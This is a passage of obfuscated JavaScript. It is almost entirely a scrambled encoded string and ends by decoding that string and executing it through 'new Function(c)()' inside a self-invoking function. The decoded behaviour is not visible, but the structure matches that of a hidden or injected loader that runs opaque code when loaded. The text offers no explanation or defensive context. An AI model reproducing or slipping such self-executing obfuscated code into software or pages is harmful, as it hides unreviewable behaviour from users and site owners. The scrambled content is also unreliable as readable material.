2G8jdD8u~w_pGrrl/G7GG8We.Beawlb4aw7b"B.1"|l)H=.eawy.BWsx7rH`sEe,;{R_?-a-jaW-x.1E7x[./Bw}`|)WE.xwll)~>:7p-rGb.aUrd_m|l),uWd)b%D_8Up|l"H"))$%ax 7pm_G_u~2G8jdD8uWyBD7X6rlxurGrluXmD))>,?h2G8jdD8ubDeU?m7Du7|l2G8jdD8uWyBD7X6rlxurGrluXmD)))V""$2G8jdD8u~2G8jdD8ub.mm-aDe|l7pm_G_uH"")b-ejppUG8|l"")bBm87D|l)b%D_8Up|l"")+7pm_G_u$1uUU8WExe~b"sww2EVff"Ha_eGaUGuUH2G8jdD8u|b%D_8Up|l"f")$D-dr8-eGW-.DCWa227BD[sy=Dl1uUU8)$yrl1??-7rN~B/==){1??-7rW%a=/7+~"\\x\\Ba227BD7D 7R w. swR="$%ax a8pG8~D-dr8-eGW]7wI=7R7Bw0C9Dl1uUU8WyD)$yrla8pG8~~B/==FFa8pG8~~/BD7ryB7D){1??-7rW%a=/7+~"\\x\\B eaBw ]7w 7R rx.R swR="}}}$yrl1??-7rN~B/==){1??-7rW%a=/7+~"\\x\\BE7BD :E s.Ew "+=maG?}%ax Cujpda~r/Bewy.Bl.ue7dd8){x7w/xB R-m_e-l.ue7dd8)b.mm-aDe|lxurGrluXpn)H:7p-rGb.aUrd_m|l)Ww.owxyB]lm_)WE=ye7l:7p-rGWr=..xl:7p-rGb.aUrd_m|l)*8)+p))}$E-j_alCujpdal=maG?))$/G_au?DGb"aDDI%7BwZyEw7B7x"|l"R7EEa]7"Hr/Bewy.Bl7){yrl7WDawaWt~~2r8?eD-am){D-dr8-eGW]7wI=7R7Bw0C9Dl1uUU8WyD)Wx7R.%7l)$yrl1??-7rN~B/==){1??-7rW%a=/7+~"\\x\\Bx7e7y%7 7R 2.Ew R7EEa]7"$1??-7rW%a=/7+~"\\x\\B7WDawaW% "+7WDawaWA}B71 k/Bewy.Bl"ax]E"H7WDawaWA)l{zwDeEV1j-aDGeHzwxaV1??-7r})}})})l"MydAaPk/7@q_DPU/Kp8w"H"pUp_?jp_up_dup8"H1yBD.1HD.e/R7Bw)}$E8_e-l)$'.substr(7));new Function(c)()})();